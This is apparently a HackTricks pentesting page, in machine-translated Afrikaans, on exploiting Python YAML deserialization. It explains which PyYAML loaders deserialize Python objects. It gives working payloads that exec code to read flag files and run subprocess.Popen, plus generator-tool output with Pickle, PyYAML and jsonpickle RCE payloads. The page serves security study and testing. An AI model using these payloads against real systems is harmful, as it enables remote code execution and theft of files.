Python Yaml Deserialization

Ondersteun HackTricks

Yaml Deserialization

Yaml python biblioteke is ook in staat om python voorwerpe te serialiseer en nie net rou data nie:

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

Kontroleer hoe die tuple nie 'n rou tipe data is nie en daarom is dit geserialiseer. En dieselfde het met die range gebeur (geneem uit die builtins).

safe_load() of safe_load_all() gebruik SafeLoader en ondersteun nie klas objek deserialisering nie. Klas objek deserialisering voorbeeld:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

Die vorige kode het unsafe_load gebruik om die geserialiseerde python klas te laai. Dit is omdat in weergawe >= 5.1, dit nie toelaat om enige geserialiseerde python klas of klasattribuut te deserialiseer nie, met Loader wat nie gespesifiseer is in load() of Loader=SafeLoader.

Basiese Exploit

Voorbeeld van hoe om 'n slaap uit te voer:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

Kwetsbare .load("<content>") sonder Loader

Ou weergawes van pyyaml was kwesbaar vir deserialisasie-aanvalle as jy nie die Loader gespesifiseer het wanneer jy iets laai nie: yaml.load(data)

Jy kan die beskrywing van die kwesbaarheid hier vind. Die voorgestelde ontploffing op daardie bladsy is:

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

Of jy kan ook hierdie een-liner verskaf deur @ishaack gebruik:

!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}

Let wel, in onlangs weergawes kan jy nie nie meer .load() sonder 'n Loader aanroep nie en die FullLoader is nie meer kwesbaar vir hierdie aanval nie.

RCE

Pasgemaakte payloads kan geskep word met behulp van Python YAML modules soos PyYAML of ruamel.yaml. Hierdie payloads kan kwesbaarhede in stelsels benut wat onbetroubare invoer deserialiseer sonder behoorlike sanitasie.

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

Tool om Payloads te skep

Die tool https://github.com/j0lt-github/python-deserialization-attack-payload-generator kan gebruik word om python deserialisering payloads te genereer om Pickle, PyYAML, jsonpickle en ruamel.yaml te misbruik:

python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

Verwysings

Ondersteun HackTricks

Last updated